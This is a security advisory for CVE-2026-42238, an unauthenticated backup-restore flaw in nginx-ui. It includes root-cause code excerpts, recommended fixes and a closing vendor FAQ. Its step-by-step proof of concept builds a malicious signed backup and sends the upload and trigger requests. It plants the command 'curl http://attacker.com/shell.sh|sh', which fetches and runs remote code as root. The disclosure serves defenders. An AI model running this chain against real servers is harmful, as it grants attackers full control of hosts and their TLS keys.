CVE-2026-42238

Product: nginx-ui
Repository: 0xJacky/nginx-ui (branch: dev)
Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection
Affected Component: POST /api/restore

1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui, typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).

2. Root Cause Analysis

2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware, no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4

• InstallLockStatus() returns false because JwtSecret is "" on a fresh install and SkipInstallation defaults to false.
• IsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional, it only activates if the request includes an encrypted_params field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encrypted_params and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the security_token form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restore_nginx_ui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11

3. Attack Prerequisites

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.

4. Step-by-Step Proof of Concept

Step 1, Confirm the installation window is open

GET /api/install HTTP/1.1
Host: target:9000

Expected response confirming vulnerability:

{"lock": false, "timeout": false}

Step 2, Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip          ← outer ZIP (unencrypted)
├── manifest.json             ← JSON manifest
├── manifest.sig              ← HMAC-SHA256 of manifest.json
├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP
└── nginx.zip                 ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

[app]
JwtSecret = attacker_chosen_jwt_secret_32chars

[node]
Secret = attacker_chosen_node_secret

[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional, the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

{
  "schema": 1,
  "created_at": "20260421-120000",
  "version": "2.0.0",
  "files": [
    {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>},
    {"name": "nginx.zip",    "sha256": "<hash>", "size": <size>}
  ]
}

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3, Upload the malicious backup (no authentication required)

POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip

[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"

<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"

true
------Boundary--

Expected response (HTTP 200):

{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4, Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

POST /api/nginx/test HTTP/1.1
Host: target:9000
X-Node-Secret: attacker_chosen_node_secret

nginx-ui executes:

/bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).

5. Impact

• Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini.
• Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state.
• Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.
• Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.

7. Recommended Fix

Primary fix, Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

// api/backup/router.go
func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", middleware.AuthRequired(), CreateBackup)
    r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)
}

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix, Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.

8. Timeline

Citations

File: router/routers.go (L61-70)

	root := r.Group("/api", middleware.IPWhiteList())
	{
		public.InitRouter(root)
		crypto.InitPublicRouter(root)
		user.InitAuthRouter(root)
		license.InitRouter(root)

		system.InitPublicRouter(root)
		system.InitSelfCheckRouter(root)
		backup.InitRouter(root)

File: api/backup/router.go (L9-16)

// authIfInstalled requires auth if system is installed
func authIfInstalled(ctx *gin.Context) {
	if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {
		middleware.AuthRequired()(ctx)
	} else {
		ctx.Next()
	}
}

File: api/backup/router.go (L18-25)

func InitRouter(r *gin.RouterGroup) {
	// Backup always requires authentication (contains sensitive data)
	r.GET("/backup", middleware.AuthRequired(), CreateBackup)

	// Restore requires auth only after installation
	// This allows restoring backup during initial setup
	r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
}

File: api/system/install.go (L27-34)

func InstallLockStatus() bool {
	return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != ""
}

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded
func IsInstallTimeoutExceeded() bool {
	return time.Since(startupTime) > 10*time.Minute
}

File: internal/middleware/encrypted_params.go (L69-75)

		// Check if encrypted_params field exists
		encryptedParams := c.Request.FormValue("encrypted_params")
		if encryptedParams == "" {
			// No encryption, continue normally
			c.Next()
			return
		}

File: api/backup/restore.go (L35-70)

	securityToken := c.PostForm("security_token") // Get concatenated key and IV
	// Get backup file
	backupFile, err := c.FormFile("backup_file")
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))
		return
	}

	// Validate security token
	if securityToken == "" {
		cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
		return
	}

	// Split security token to get Key and IV
	parts := strings.Split(securityToken, ":")
	if len(parts) != 2 {
		cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
		return
	}

	aesKey := parts[0]
	aesIv := parts[1]

	// Decode Key and IV from base64
	key, err := base64.StdEncoding.DecodeString(aesKey)
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))
		return
	}

	iv, err := base64.StdEncoding.DecodeString(aesIv)
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))
		return
	}

File: api/backup/restore.go (L126-132)

	if restoreNginxUI {
		go func() {
			time.Sleep(2 * time.Second)
			// gracefully restart
			risefront.Restart()
		}()
	}

File: internal/backup/manifest.go (L156-163)

func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
	if len(aesKey) == 0 {
		return nil, ErrInvalidAESKey
	}

	sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
	return sum[:], nil
}

File: internal/backup/restore.go (L458-484)

// restoreNginxUIConfig restores nginx-ui configuration files
func restoreNginxUIConfig(nginxUIBackupDir string) error {
	// Get config directory
	configDir := filepath.Dir(cosysettings.ConfPath)
	if configDir == "" {
		return ErrConfigPathEmpty
	}

	// Restore app.ini to the configured location
	srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
	if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
		return err
	}

	// Restore database file if exists
	dbName := settings.DatabaseSettings.GetName()
	srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db")
	destDBPath := filepath.Join(configDir, dbName+".db")

	// Only attempt to copy if database file exists in backup
	if _, err := os.Stat(srcDBPath); err == nil {
		if err := copyFile(srcDBPath, destDBPath); err != nil {
			return err
		}
	}

	return nil

File: internal/nginx/nginx.go (L25-36)

func TestConfig() (stdOut string, stdErr error) {
	mutex.Lock()
	defer mutex.Unlock()
	if settings.NginxSettings.TestConfigCmd != "" {
		return execShell(settings.NginxSettings.TestConfigCmd)
	}
	sbin := GetSbinPath()
	if sbin == "" {
		return execCommand("nginx", "-t")
	}
	return execCommand(sbin, "-t")
}

File: internal/nginx/exec.go (L12-28)

func execShell(cmd string) (stdOut string, stdErr error) {
	var execCmd *exec.Cmd

	if runtime.GOOS == "windows" {
		execCmd = exec.Command("cmd", "/c", cmd)
	} else {
		execCmd = exec.Command("/bin/sh", "-c", cmd)
	}

	execCmd.Dir = GetNginxExeDir()
	bytes, err := execCmd.CombinedOutput()
	stdOut = string(bytes)
	if err != nil {
		stdErr = err
	}
	return
}

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-42238 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42238? CVE-2026-42238 is a critical-severity code injection vulnerability in github.com/0xJacky/nginx-ui (go), affecting versions < 2.3.8. It is fixed in 2.3.8. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-42238? CVE-2026-42238 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/0xJacky/nginx-ui are affected by CVE-2026-42238? github.com/0xJacky/nginx-ui (go) versions < 2.3.8 is affected.
4. Is there a fix for CVE-2026-42238? Yes. CVE-2026-42238 is fixed in 2.3.8. Upgrade to this version or later.
5. Is CVE-2026-42238 exploitable, and should I be worried? Whether CVE-2026-42238 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42238 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42238? Upgrade github.com/0xJacky/nginx-ui to 2.3.8 or later.